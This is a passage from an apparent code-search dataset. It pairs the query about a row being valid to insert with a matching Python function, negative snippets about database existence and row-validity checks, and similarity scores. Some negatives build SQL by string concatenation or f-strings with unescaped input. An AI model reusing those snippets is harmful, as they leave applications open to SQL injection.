key):\\n\\t\\t\\t\\n\\t\\tif self.db.get(key):\\n\\t\\t\\treturn self.db.get(key)\\n\\t\\telse:\\n\\t\\t\\treturn False\",\n \"def exist(self, table: str, libref: str =\\\"\\\") -> bool:\\n code = 'data _null_; e = exist(\\\"'\\n if len(libref):\\n code += libref+\\\".\\\"\\n code += \\\"'\\\"+table.strip()+\\\"'n\\\"+'\\\"'+\\\");\\\\n\\\"\\n code += 'v = exist(\\\"'\\n if len(libref):\\n code += libref+\\\".\\\"\\n code += \\\"'\\\"+table.strip()+\\\"'n\\\"+'\\\"'+\\\", 'VIEW');\\\\n if e or v then e = 1;\\\\n\\\"\\n code += \\\"te='TABLE_EXISTS='; put te e;run;\\\\n\\\"\\n\\n ll = self.submit(code, \\\"text\\\")\\n\\n l2 = ll['LOG'].rpartition(\\\"TABLE_EXISTS= \\\")\\n l2 = l2[2].partition(\\\"\\\\n\\\")\\n exists = int(l2[0])\\n\\n return bool(exists)\",\n \"def __check_write_success_insert(self, data, path):\\n with open(path, 'r') as f:\\n for line in f:\\n if len(line) > 1:\\n last_line = line\\n if last_line:\\n if data[\\\"row_id\\\"] == json.loads(line)[\\\"row_id\\\"] and data[\\\"data\\\"] == json.loads(line)[\\\"data\\\"]:\\n return True\\n return False\",\n \"def record_exists(self, record):\\n record_exists = False\\n\\n logging.debug('Check if record exists in table')\\n if not self._dbconnect or not self._cursor:\\n raise Exception('Invalid call to Context Manager method!')\\n\\n date = record.get('date', '')\\n time = record.get('time', '')\\n location = record.get('location', '')\\n node_id = record.get('nodeID', '')\\n\\n self._cursor.execute(\\\"\\\"\\\"SELECT count(*) FROM {} WHERE \\\\\\n date == ? and time = ? and location = ? and nodeID = ?\\\"\\\"\\\".format(self._name), (date, time, location, node_id))\\n\\n if self._cursor.fetchone()[FIRST_ROW] == SINGLE_RECORD:\\n record_exists = True\\n\\n logging.debug('Record exists? : {}'.format(record_exists))\\n return record_exists\",\n \"def speed_table_exists(self):\\n\\n return self.__table_exists(Speed)\",\n \"def load_data(self):\\n df= self.read_file()\\n for row,col in df.iterrows():\\n Employeeid = int(col['Empolyeeid'])\\n Employee_Name = col['Employee_Name']\\n Age = col['Age']\\n Salary = col['Salary']\\n self.table.put_item(\\n Item={\\n \\\"Employeeid\\\":Employeeid,\\n \\\"Employee_Name\\\": Employee_Name,\\n \\\"Age\\\": Age,\\n \\\"Salary\\\": Salary\\n }\\n )\\n return True\",\n \"def event_in_database(event: event_models.Event) -> bool:\\n id_dict = async_to_sync(event_utils.generate_event_id_dict)(event)\\n var = event_utils.events_collection().find_one(id_dict)\\n return bool(var)\",\n \"def isLoaded(self):\\n\\t\\tif (self.Loaded):\\n\\t\\t\\treturn True\\n\\t\\telse:\\n\\t\\t\\treturn False\",\n \"def isLoaded():\\n return _loaded is not None\",\n \"def check_if_row_exists(self, session, data):\\n\\n row_exists = None\\n user_id = 0\\n\\n try:\\n\\n user_row = self.get_user_by_id(session, data)\\n\\n if user_row is not None:\\n user_id = user_row.user_id\\n else:\\n user_id = 0\\n\\n logger.info('User Row object in DB: %s', str(user_row))\\n\\n row_exists = session.query(UsersAuthModel).filter(UsersAuthModel.user_id == user_id). \\\\\\n filter(UsersAuthModel.is_active == \\\"true\\\").scalar()\\n\\n logger.info('Row to data: {}, Exists: %s'.format(data), str(row_exists))\\n\\n except SQLAlchemyError as exc:\\n row_exists = None\\n logger.exception('An exception was occurred while execute transactions: %s', str(str(exc.args) + ':' +\\n str(exc.code)))\\n raise mvc_exc.IntegrityError(\\n 'Row not stored in \\\"{}\\\". IntegrityError: {}'.format(data.get('username'),\\n str(str(exc.args) + ':' + str(exc.code)))\\n )\\n finally:\\n session.close()\\n\\n return row_exists\",\n \"def has_data(self):\\n return self._data is not None\",\n \"def has_table(self, table):\\n return table in self.get_table_list(\\\".\\\" in table)\",\n \"def load(self):\\n db = CrawlDBI.DBI(dbtype='crawler')\\n if self.rowid is not None:\\n rows = db.select(table='checkables',\\n fields=['rowid',\\n 'path',\\n 'type',\\n 'cos',\\n 'cart',\\n 'ttypes',\\n 'checksum',\\n 'last_check',\\n 'fails',\\n 'reported'],\\n where=\\\"rowid = ?\\\",\\n data=(self.rowid,))\\n else:\\n rows = db.select(table='checkables',\\n fields=['rowid',\\n 'path',\\n 'type',\\n 'cos',\\n 'cart',\\n 'ttypes',\\n 'checksum',\\n 'last_check',\\n 'fails',\\n 'reported'],\\n where=\\\"path = ?\\\",\\n data=(self.path,))\\n if 0 == len(rows):\\n self.in_db = False\\n elif 1 == len(rows):\\n self.in_db = True\\n rz = list(rows[0])\\n self.rowid = rz.pop(0)\\n self.path = rz.pop(0)\\n self.type = rz.pop(0)\\n self.cos = rz.pop(0)\\n self.cart = rz.pop(0)\\n self.ttypes = rz.pop(0)\\n self.checksum = rz.pop(0)\\n self.last_check = rz.pop(0)\\n try:\\n self.fails = rz.pop(0)\\n except IndexError:\\n self.fails = 0\\n try:\\n self.reported = rz.pop(0)\\n except IndexError:\\n self.reported = 0\\n self.dirty = False\\n else:\\n raise StandardError(\\\"There appears to be more than one copy \\\" +\\n \\\"of %s in the database\\\" % self)\\n\\n db.close()\",\n \"def has_data(self):\\n return len(self.data) > 0\",\n \"def load(self):\\n while True:\\n sqldata = self._runsql()\\n if not sqldata: # No rows to process. Return for now\\n return True\\n\\n status = self._load_elastic(sqldata)\\n if status[1]:\\n self.logger.error(\\\"Errors occurred : %s\\\" % status[1])\\n # TODO: Should we quit(return False) here \\n # since there are errors ?\\n\\n # This should be the remainder and nothing left after that\\n # since we didn't exceed max rows\\n if len(sqldata) < self.max_rows:\\n self.logger.info(\\\"Finished inserting up to %d\\\" % self.seq)\\n return True\",\n \"def record_exists(user):\\n cnx = create_connection()\\n cursor = cnx.cursor()\\n\\n query = \\\"SELECT * FROM \\\" + USAGE_TABLE['name'] + \\\" WHERE \\\" + USAGE_TABLE['relational_column'] + \\\" = '\\\" + user + \\\"'\\\"\\n\\n try:\\n cursor.execute(query)\\n except mysql.connector.Error as e:\\n cursor.close()\\n cnx.close()\\n if e.errno == errorcode.ER_BAD_TABLE_ERROR:\\n print(\\\"Table doesn't exist!\\\")\\n else:\\n print(e)\\n return\\n\\n rows = cursor.fetchall()\\n cnx.close()\\n cursor.close()\\n\\n if len(rows):\\n return True\\n else:\\n return False\",\n \"def exists(self):\\n try:\\n key = self.key\\n except DoesNotExist:\\n \\\"\\\"\\\"\\n If the object doesn't exists anymore, its PK is deleted, so the\\n \\\"self.key\\\" call will raise a DoesnotExist exception. We catch it\\n to return False, as the field doesn't exists too.\\n \\\"\\\"\\\"\\n return False\\n else:\\n return self.connection.exists(key)\",\n \"def can_insert(self):\\r\\n return self.query._sort == [desc('_date')]\",\n \"def _insert_if_new(cursor, table, data, **kwargs):\\n pk_only_data = _subdict(METADATA_PRIMARY_KEYS[table], data, enforce_key_presence=True)\\n if not _exists(cursor, table, pk_only_data):\\n log('inserting new {}...'.format(table), end='')\\n result = _insert_dict(cursor, table, data, **kwargs)\\n log('done.')\\n return result\",\n \"def ofTable(self, tablename):\\n return tablename == self._table.name\",\n \"def is_ready(self):\\n try:\\n self._data\\n except ValidationError as ve:\\n log.error(f\\\"{self.endpoint} relation data not yet valid. ({ve}\\\")\\n return False\\n if self._data is None:\\n log.error(f\\\"{self.endpoint} relation data not yet available.\\\")\\n return False\\n return all(\\n field is not None\\n for field in [\\n self._data.auth_url,\\n self._data.username,\\n self._data.password,\\n self._data.user_domain_name,\\n self._data.project_domain_name,\\n self._data.project_name,\\n ]\\n )\",\n \"def hasTable(*keys):\\r\\n\\treturn getGameData().hasTable(*keys)\",\n \"def exist_import_record(session, doc_id, sentence_index):\\n try:\\n team = session.query(DocumentSentenceText).filter_by(doc_id=doc_id,\\n sentence_index=sentence_index).first()\\n if team:\\n return True\\n else:\\n return False\\n except Exception:\\n traceback.print_exc()\\n return False\",\n \"def check_table(self, table_name: str) -> bool:\\n try:\\n if self.engine.dialect.has_table(self.engine.connect(), table_name):\\n return self.get_input(table_name)\\n return False\\n except Exception as err:\\n logger.error(\\\"check_table [error] -> %s\\\" % err)\\n return False\",\n \"def has_data(self) -> bool:\\n raise NotImplementedError\",\n \"def has_id(self, data):\\n # (Dict[str, Any]) -> bool\\n return self.id_column.name in data\",\n \"def check_if_exists(self, bookID):\\n query = f\\\"\\\"\\\"SELECT * from {TABLE} WHERE bookID = '{bookID}';\\\"\\\"\\\"\\n res = self.cursor.execute(query)\\n\\n if self.cursor.fetchall():\\n return True\\n else:\\n return False\",\n \"def exists(self, obj):\\n return False\",\n \"def need_update(self):\\n self.logging.debug( \\\"need_update()\\\" )\\n\\n for name in self.tables:\\n\\n md5 = self.dbs_tables[name]['md5']\\n test = get_md5(self.dbs_tables[name]['path'])\\n\\n self.logging.debug('(%s) table:%s md5:[old: %s new: %s]' % \\\\\\n (self.db,name,md5,test) )\\n\\n if test != md5: return True\\n\\n return False\",\n \"def table_exists(self, table_name):\\n\\t\\tif self.__dbfile is None:\\n\\t\\t\\treturn False\\n\\n\\t\\tcursor = self._conn.cursor()\\n\\t\\tcursor.execute(\\\"SELECT name FROM sqlite_master WHERE type='table' ORDER BY name\\\")\\n\\t\\ttables = [t[0] for t in cursor.fetchall()]\\n\\t\\treturn table_name in tables\",\n \"def _do_check(self):\\n try:\\n #breakpoint()\\n ApplicationsItem.objects.exists()\\n #print (\\\"Checking\\\")\\n return True\\n\\n except Exception:\\n client.captureException()\\n return False\",\n \"def exists(self):\\n return True\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6943474","0.68638754","0.6641932","0.6614292","0.66038424","0.64612883","0.6376495","0.6328476","0.6302793","0.62997705","0.62929714","0.629125","0.62693715","0.62334293","0.62234014","0.6199559","0.6187284","0.6176301","0.6151032","0.6147922","0.6138034","0.61371344","0.6130555","0.6116353","0.6113144","0.6104969","0.61000663","0.6095283","0.60868347","0.60808367","0.6049321","0.6029288","0.60223746","0.60158944","0.6011432","0.6006248","0.6004341","0.5998958","0.5993785","0.5992426","0.59923995","0.598901","0.59853274","0.5966582","0.59617823","0.59585315","0.59552944","0.59517574","0.59493214","0.59358805","0.5914038","0.59096694","0.5905793","0.59033656","0.59031135","0.59021294","0.58911306","0.5886921","0.5847043","0.58466506","0.5841218","0.5836392","0.58252543","0.58225703","0.58189577","0.58006996","0.5800615","0.57993674","0.5796674","0.5794677","0.5794221","0.57862407","0.57811034","0.5778135","0.57746977","0.57653344","0.5758457","0.57557946","0.57554555","0.5754405","0.5752166","0.57407767","0.57369554","0.57308227","0.5728762","0.57216257","0.57198924","0.5716524","0.57152164","0.5710961","0.5709998","0.57016337","0.5697994","0.56944585","0.56900376","0.56895196","0.5685871","0.5683065","0.5677493","0.56750757"],"string":"[\n \"0.6943474\",\n \"0.68638754\",\n \"0.6641932\",\n \"0.6614292\",\n \"0.66038424\",\n \"0.64612883\",\n \"0.6376495\",\n \"0.6328476\",\n \"0.6302793\",\n \"0.62997705\",\n \"0.62929714\",\n \"0.629125\",\n \"0.62693715\",\n \"0.62334293\",\n \"0.62234014\",\n \"0.6199559\",\n \"0.6187284\",\n \"0.6176301\",\n \"0.6151032\",\n \"0.6147922\",\n \"0.6138034\",\n \"0.61371344\",\n \"0.6130555\",\n \"0.6116353\",\n \"0.6113144\",\n \"0.6104969\",\n \"0.61000663\",\n \"0.6095283\",\n \"0.60868347\",\n \"0.60808367\",\n \"0.6049321\",\n \"0.6029288\",\n \"0.60223746\",\n \"0.60158944\",\n \"0.6011432\",\n \"0.6006248\",\n \"0.6004341\",\n \"0.5998958\",\n \"0.5993785\",\n \"0.5992426\",\n \"0.59923995\",\n \"0.598901\",\n \"0.59853274\",\n \"0.5966582\",\n \"0.59617823\",\n \"0.59585315\",\n \"0.59552944\",\n \"0.59517574\",\n \"0.59493214\",\n \"0.59358805\",\n \"0.5914038\",\n \"0.59096694\",\n \"0.5905793\",\n \"0.59033656\",\n \"0.59031135\",\n \"0.59021294\",\n \"0.58911306\",\n \"0.5886921\",\n \"0.5847043\",\n \"0.58466506\",\n \"0.5841218\",\n \"0.5836392\",\n \"0.58252543\",\n \"0.58225703\",\n \"0.58189577\",\n \"0.58006996\",\n \"0.5800615\",\n \"0.57993674\",\n \"0.5796674\",\n \"0.5794677\",\n \"0.5794221\",\n \"0.57862407\",\n \"0.57811034\",\n \"0.5778135\",\n \"0.57746977\",\n \"0.57653344\",\n \"0.5758457\",\n \"0.57557946\",\n \"0.57554555\",\n \"0.5754405\",\n \"0.5752166\",\n \"0.57407767\",\n \"0.57369554\",\n \"0.57308227\",\n \"0.5728762\",\n \"0.57216257\",\n \"0.57198924\",\n \"0.5716524\",\n \"0.57152164\",\n \"0.5710961\",\n \"0.5709998\",\n \"0.57016337\",\n \"0.5697994\",\n \"0.56944585\",\n \"0.56900376\",\n \"0.56895196\",\n \"0.5685871\",\n \"0.5683065\",\n \"0.5677493\",\n \"0.56750757\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.63383526"},"document_rank":{"kind":"string","value":"7"}}},{"rowIdx":82195,"cells":{"query":{"kind":"string","value":"(obj, list) > boolean Checking if row is to be valid to inserrted."},"document":{"kind":"string","value":"def is_valid_row_to_insert(self, row):\n\n\t\tif row[5] == COUNTRY or row[15] == COUNTRY:\n\t\t\treturn True\n\t\treturn False"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def is_valid_row(self):\r\n return self.valid_row","def validate(self, row):\n raise NotImplementedError","def _validate_row(self, row):\n\n # assume value.\n is_valid = True\n\n # test if each field in @row has the correct data type.\n tests = []\n for field, value in row.items():\n value_type, header_type = (type(value).__name__, \n self.required_headers[field].__name__)\n test = value_type == header_type\n if not test:\n err = \"Field '{}' not valid; expected '{}', got '{}'.\".format(field,\n header_type, value_type)\n self.logger.debug(err)\n tests.append(test)\n\n # if any test failed, set @is_valid to False.\n if False in tests:\n is_valid = False\n \n return is_valid","def __is_valid_row(self, row_number):\n return self.__is_valid((row_number, 0))","def is_valid_row(self, row):\n\n empty = (\"\", \"Vacant\")\n if not any(row.values()):\n return False\n if \"first name\" in row and \"last name\" in row:\n return row[\"last name\"] not in empty and row[\"first name\"] not in empty\n return row[\"name\"] not in empty","def validRow(content,start,row):\n\t\t\tcur_id = content[1].id\n\t\t\ttry:\n\t\t\t\tnext_c = row[start+content[1].length]\n\t\t\texcept IndexError:\n\t\t\t\treturn True\n\t\t\tif next_c != None:\n\t\t\t\tif cur_id != next_c[1].id:\n\t\t\t\t\treturn True\n\t\t\t\telse:\n\t\t\t\t\t#print \"row not valid\"\n\t\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\treturn True","def is_valid(self):\n if self.get_row() != -1 and self.get_column() != -1:\n return True\n else:\n return False","def isValid(self):\n for ir in range(self.nRow): # Check rows for duplicates\n row = ir + 1\n vals = {}\n for ic in range(self.nCol):\n col = ic + 1\n val = self.getCellVal(row=row, col=col)\n if not self.isEmpty(val):\n if val in vals:\n SlTrace.lg(f\"doing row {row} at col={col} val={val} vals={vals} invalid\")\n SlTrace.lg(f\"row:{row} vals: {self.getRowVals(row)} col:{col} vals: {self.getColVals(col)}\")\n return False\n vals[val] = val\n \n for ic in range(self.nCol): # Check cols for duplicates\n col = ic + 1\n vals = {}\n for ir in range(self.nRow):\n row = ir + 1\n val = self.getCellVal(row=row, col=col)\n if not self.isEmpty(val):\n if val in vals:\n SlTrace.lg(f\"at row={row} doing col={col} val={val} vals={vals} invalid\")\n SlTrace.lg(f\"row:{row} vals: {self.getRowVals(row)} col:{col} vals: {self.getColVals(col)}\")\n return False\n vals[val] = val\n return True","def check_meatadata_row(validated, input_validate_dict, row, idx):\n\n if row['RealCrystalName'].isspace() or row['RealCrystalName'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'RealCrystalName spaces or null', idx + 2)\n validated = False\n if row['crystal_name'].isspace() or row['RealCrystalName'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name spaces or null', idx + 2)\n validated = False\n if row['RealCrystalName'] not in row['crystal_name']:\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name does not contain RealCrystalName', idx + 2)\n validated = False\n if row['smiles'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Smiles null', idx + 2)\n validated = False\n\n return validated, input_validate_dict","def is_rows_valid(bd):\n for row in rows:\n seen = []\n for num in nums:\n if bd[row[num]] == \" \":\n continue\n elif bd[row[num]] not in seen:\n seen += [bd[row[num]]]\n else:\n return False\n else:\n continue\n return True","def validate(self, field, row):\n raise NotImplementedError","def validate_data(self, row, col, value):\n\n return True","def _valid_result(res):\n (HEADER, RESULTS) = [0,1]\n ok = (isinstance(res, (tuple, list)) and \n len(res) == 2 and\n isinstance(res[HEADER], (tuple, list)) and\n isinstance(res[RESULTS], (tuple, list)))\n if not ok:\n return False\n\n n = len(res[HEADER])\n def _valid_row(row):\n return isinstance(row, (tuple, list)) and len(row) == n\n return reduce(and_, (_valid_row(x) for x in res[RESULTS]), True)","def _is_valid(self):\n for cell in self._cells_iterable():\n if cell not in self._valid_elements:\n return False\n return True","def validate(session, row):\n if row.operation == odl_const.ODL_DELETE:\n return _is_valid_delete_operation(session, row)\n elif row.operation == odl_const.ODL_UPDATE:\n # If the update itself isn't valid fail before checking possible\n # dependent operations.\n if not _is_valid_update_operation(session, row):\n return False\n elif row.operation != odl_const.ODL_CREATE:\n raise ValueError(_(\"unsupported operation {}\").format(row.operation))\n\n # Validate dependencies if there are any to validate.\n dep_generator = _CREATE_OR_UPDATE_DEP_GENERATOR.get(row.object_type)\n if dep_generator is not None:\n object_ids = dep_generator(row.data)\n if object_ids is not None:\n return _no_older_operations(session, object_ids, row)\n\n return True","def is_valid(self, data_model: DataModel) -> bool:","def _is_row(table):\n import astropy.io.fits.fitsrec\n import astropy.table.row\n if isinstance(table, (astropy.io.fits.fitsrec.FITS_record, astropy.table.row.Row)) or \\\n np.isscalar(table):\n return True\n else:\n return False","def ok_to_delete_row(self, row):\n if self.is_new_row(row):\n return False, _('Unable to delete new row')\n elif row == 0:\n return False, _('Unable to delete sofa id row')\n elif self.new_is_dirty:\n return (False, _(\n 'Cannot delete a row while in the middle of making a new one'))\n else:\n return True, None","def test_is_valid_row(self):\n dognames = student_submission.read_csv('./dognames.csv')\n\n self.assertTrue(student_submission.is_valid_row(dognames[999]),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], sex='m'),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010, sex='m'),\n 'Your implementation seems wrong')\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2006, sex='m'),\n 'Your implementation seems wrong')\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2010, sex='w'),\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i]) for i in range(len(dognames))), 6980,\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], sex='w') for i in range(len(dognames))), 3549,\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], year=2000) for i in range(len(dognames))), 118,\n 'Your implementation seems wrong')","def VerifyRow(self, parser_mediator, row):\n if len(row) != self._NUMBER_OF_COLUMNS:\n return False\n\n # If the date and time string cannot be converted into a date time object,\n # then do not consider this to be a McAfee AV Access Protection Log.\n try:\n self._CreateDateTime(row['date'], row['time'])\n except errors.ParseError:\n return False\n\n # Use the presence of these strings as a backup or in case of partial file.\n status = row['status']\n if 'Access Protection' not in status and 'Would be blocked' not in status:\n return False\n\n return True","def is_valid(self): # -> bool:\n ...","def validRowCol(content,start,row,schedule):\n\t\t\tif validRow(content,start,row) and \\\n\t\t\t\tvalidCol(content,start,schedule):\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False","def is_valid(row, peg):\n return (\n (row < TRI_SIZE) and\n (row >= 0) and\n (peg < TRI_SIZE) and\n (peg >= 0) and\n (peg <= row)\n )","def compare_resources_validate(row):\n\n ckan_id = row['id']\n extras = row.get('extras', False)\n if not extras:\n error = f'The CKAN dataset {ckan_id} does not have the \"extras\" property'\n logging.error(error)\n return False, error\n \n identifier = None\n for extra in extras:\n if extra['key'] == 'identifier':\n identifier = extra['value']\n\n if identifier is None:\n error = f'The CKAN dataset {ckan_id} does not have an \"identifier\"'\n logging.error(error)\n return False, error\n\n return True, None","def isFormatOk(self, row):\n try:\n date = datetime.strptime(row[0], \"%m/%d/%Y\").date()\n state = fix_text(row[1])\n impressions = int(row[2])\n if impressions < 0:\n raise ValueError\n CTR = float(row[3].replace(\"%\",\"\"))\n if CTR < 0 or CTR > 1:\n raise ValueError\n except ValueError as e:\n print(f\"Wrong format of provided data {row}\", file=sys.stderr)\n return False\n return Record(date=date, state=state, impressions=impressions, CTR=CTR)","def validate_oee_error_6(self):\n sql = \"\"\"\n SELECT b.* FROM bdeview b \n WHERE rowintable=(SELECT rowintable FROM bdeview WHERE f7<>'@17' LIMIT 1) \n AND f7 NOT IN (SELECT code FROM activitycode WHERE item IN ('@95','MR'))\n \"\"\"\n lines = self.c.execute(sql).fetchall()\n #return lines==[], lines\n return True, []","def is_posssible_row(self,row,user_value):\n for col in range(9):\n if self.arr[row][col] == user_value:\n logging.debug(f\"is_posssible_row(): (False) row: {row} col: {col} arr{self.arr[row][col]} == {user_value}\")\n return False\n logging.debug(f\"is_posssible_row(): (True) row: {row} col: {col} arr{self.arr[row][col]} != {user_value}\")\n return True","def is_valid(self, dataset):\n pass","def is_legal(self):\n if not self._is_valid():\n return False\n\n if not self._check_all(self.get_rows()):\n return False\n\n if not self._check_all(self.get_cols()):\n return False\n\n if not self._check_all(self.get_blocks()):\n return False\n\n return True","def check_row(row):\n \n if len(row) != _ncols:\n raise ValueError(\"Row contains {0} columns, expected {1}!\\n\\n{2}\\n\".format(len(row), _ncols, row))","def row_contains_data(fieldnames, row):\n for field in fieldnames:\n if row.get(field):\n return True\n return False","def is_valid(self,row,col) -> bool:\n if(row >=0 and col>=0 and row<self.row and col<self.col and self.array[row][col]==-1 ):\n return True\n return False","def hasrow_check(cur,code,table,failvalue):\n cur.execute(code)\n result = cur.fetchall()[0][0]\n if result == failvalue:\n print(f\"Data quality check failed. {table} has no rows.\")\n else:\n print(f\"Data quality check passed. {table} has rows\")","def __bool__(self):\r\n return self.valid","def check_data(self):\n\n for i in range(len(self.full_ed_lines)):\n if self.full_ed_lines[i].text() != \"\":\n if self.full_ed_lines[i].hasAcceptableInput():\n continue\n else:\n if i == 1:\n self.msg2Statusbar.emit('Неправильный формат версии! Исправьте и повторите действие!')\n elif i == 5:\n self.msg2Statusbar.emit('Неправильная почта! Исправьте и повторите действие!')\n return False\n else:\n self.msg2Statusbar.emit('Не все поля заполнены! Исправьте и повторите действие!')\n return False\n return True","def check_row(row, player):\n for marker in row:\n if marker != player:\n return False\n return True","def is_valid(columns, row, col):\n # `row` is the current row; check against all previous rows\n for r in range(row):\n c = columns[r]\n # Check column\n if c == col:\n return False\n # Check diagonal\n if abs(c - col) == row - r:\n return False\n return True","def valid(self):\r\n if self.file_exists and len(self.missing_columns) == 0 and len(self.veg_columns) > 0 and \\\r\n len(self.lat_errors) == 0 and len(self.lon_errors) == 0 and len(self.time_errors) == 0 and len(self.date_errors) == 0:\r\n return True\r\n else:\r\n return False","def check_validity(self):","def valid_input(self, row, col):\n return ((row, col) not in self.marks and\n row <= WIDTH and row > 0 and\n col in COL_MAP)","def _validate(self, obj):\n assert (self._confidence in obj.columns and self._predicted in obj.columns\n and self._groundtruth in obj.columns), \\\n \"Must at least have '%s', '%s' and '%s' columns.\" \\\n % (self._confidence, self._predicted, self._groundtruth)\n assert len(obj['groundtruth']) == len(obj['predicted']) == len(obj['confidence']), \\\n \"Dataframe columns are inconsistent \"\n\n if len(obj.index) < 2:\n self._logger.fatal(\"Stored procedure returned empty dataframe\")\n raise RuntimeError(\"Stored procedure returned empty dataframe\")\n\n self._logger.debug(obj.head)","def validate_oee_error_11(self):\n sql = \"SELECT CAST(f2 AS INTEGER) FROM reporting ORDER BY ROWID DESC LIMIT 1\"\n res = self.c.execute(sql).fetchall()\n if res == []:\n return True, []\n else:\n sql = \"SELECT * FROM bdeview WHERE CAST(f2 AS INTEGER)<=%d\" % res[0][0]\n lines = self.c.execute(sql).fetchall()\n return lines==[], lines","def check(self):\n for row in self.grid:\n for i in range(1, 10):\n if row.count(i) != 1:\n return False\n\n for col in range(9):\n lst = [row[col] for row in self.grid]\n for i in range(1, 10):\n if lst.count(i) != 1:\n return False\n \n for i in range(3):\n for j in range(3):\n lst = [row[j* 3:(j*3) + 3] for row in self.grid[i * 3:(i*3) + 3]] \n flat_list = []\n for k in lst:\n for number in k:\n flat_list.append(number)\n \n for check_number in range(1, 10):\n if flat_list.count(check_number) != 1:\n return False\n return True","def __check_row(self, x: int, y: int) -> bool:\n return not any([self.__maze[x, y + i] for i in (-1, 0, 1)])","def is_valid(self):\n return self.has_valid_values() and self.has_valid_sum()","def validCol(content,start,schedule):\n\t\t\tcur_id = content[1].id\n\t\t\t#print \"cur_id,length,start\",cur_id,content[1].length,start\n\t\t\tflag = 0\n\t\t\tfor i in range(content[1].length):\n\t\t\t\tfor j in range(len(schedule.w)):\n\t\t\t\t\t#print start,i,content[1]\n\t\t\t\t\tif schedule.w[j][start+i]!=None and \\\n\t\t\t\t\t\tschedule.w[j][start+i][1].id == cur_id:\n\t\t\t\t\t\tflag += 1\n\t\t\tif flag != content[1].length:\n\t\t\t\t#print \"col not valid\",flag,content[1].length,cur_id\n\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\treturn True","def validation(self, row, ts_row):\n\n\t\t#Creates dataframes of LAR and TS data. \n\t\tlar_data = pd.DataFrame(row, index=[1])\n\t\tts_data = pd.DataFrame(ts_row, index=[0])\n\n\t\t#Instantiates a rules checker to check the row against edits in the rules engine. \n\t\t#Loads LAR and TS data to the rules engine to validate LAR data and return an edit report\n\t\tself.lar_validator.load_lar_data(lar_data)\n\t\tself.lar_validator.load_ts_data(ts_data)\n\n\t\t#Runs the edits against the LAR row and produces edit check results. \n\t\tfor func in dir(self.lar_validator):\n\t\t\tif func[:1] in (\"s\", \"v\") and func[1:4].isdigit()==True:\n\t\t\t\tgetattr(self.lar_validator, func)(row)\n\t\t\n\t\t#Returns edit check results. \n\t\treturn self.lar_validator.results","def validate_oee_error_13(self):\n sql = \"SELECT CAST(f11 AS INTEGER) FROM reporting ORDER BY ROWID DESC LIMIT 1\"\n res = self.c.execute(sql).fetchall()\n if res == []:\n return True, []\n else:\n sql = \"SELECT * FROM bdeview WHERE CAST(f11 AS INTEGER)<=%d\" % res[0][0]\n lines = self.c.execute(sql).fetchall()\n return lines==[], lines","def validate(self, root):\n if not isinstance(root, list):\n parser.error('Root object is not a list')\n if root:\n expected_type = type(root[0])\n if expected_type not in [list, dict]:\n parser.error('First row is a {}, not a list or dictionary'.format(expected_type))\n for item in root:\n if type(item) != expected_type:\n parser.error('Row type does not match first row')\n for col in item:\n if type(col) not in [str, unicode, int, float, bool]:\n parser.error('Row column is unexpected type')","def __bool__(self):\n return self.is_valid","def validate(self):\n\t\trVal = False\n\t\t#return rVal\n\t\treturn True","def valid(self) -> bool:\n pass","def is_satisfied(self, data):\n if self.__col == None and self.__val == None:\n return True\n \n return data[0, self.__col] == self.__val","def validate_csv(filename, header, cols, rows):\n\n # open file\n data = pd.read_csv(filename, delimiter='|')\n\n # validate header\n assert header == '|'.join(list(data.columns.values))\n\n # validate column count\n assert data.shape[1] == cols\n\n # validate row count\n assert data.shape[0] == rows\n\n # return (header_result == column_result == row_result) is True","def a_list(test_val: object, test_col: object, valid_values: object) -> object:\n tv_upper = test_val.upper()\n rc: bool = True\n # noinspection PyTypeChecker\n value_list = [x[test_col] for x in valid_values]\n value_list_upper = [x.upper() for x in value_list]\n if tv_upper not in value_list_upper:\n print(f'{test_val} is invalid. Valid values are {str(value_list)}')\n rc = False\n return rc","def validate(self):\n # rVal = False\n # return rVal\n return True","def is_valid(self):\n return not self.errors","def valid(self):\n # Verify correct vertex values\n self.verify_vertex_values()\n # Check for duplicate values in lines\n for line in range(9):\n seen = []\n for row in range(9):\n if self.grid[line][row] is None:\n pass\n elif self.grid[line][row] in seen:\n return False\n else:\n seen.append(self.grid[line][row])\n # Check for duplicate values in rows\n for row in range(9):\n seen = []\n for line in range(9):\n if self.grid[line][row] is None:\n pass\n elif self.grid[line][row] in seen:\n return False\n else:\n seen.append(self.grid[line][row])\n # Check for duplicate values in subgrids\n for (subgrid_line, subgrid_row) in [(subg_ln, subg_rw) for subg_ln in range(3) for subg_rw in range(3)]:\n seen = []\n for (line, row) in [(ln, rw) for ln in range(3) for rw in range(3)]:\n if self.grid[3*subgrid_line + line][3*subgrid_row + row] is None:\n pass\n elif self.grid[3*subgrid_line + line][3*subgrid_row + row] in seen:\n return False\n else:\n seen.append(self.grid[3*subgrid_line + line][3*subgrid_row + row])\n # No duplicates found\n return True","def valid(self) -> bool:\n return True","def val_in_row(self, table, val, row_index): \n\n #Get column names of table\n columns = self.table_col_names(table)\n \n\n all_rows=self.all_rows(table)\n flag=False\n for col in columns:\n if val==all_rows[row_index][col]:\n flag=True\n return flag","def is_row_complete(self, row):\n return not any(self.get_cell_value(coords) == 0 for coords in row)","def checkGameComplete(self):\n for rowKey in self.table:\n for ele in 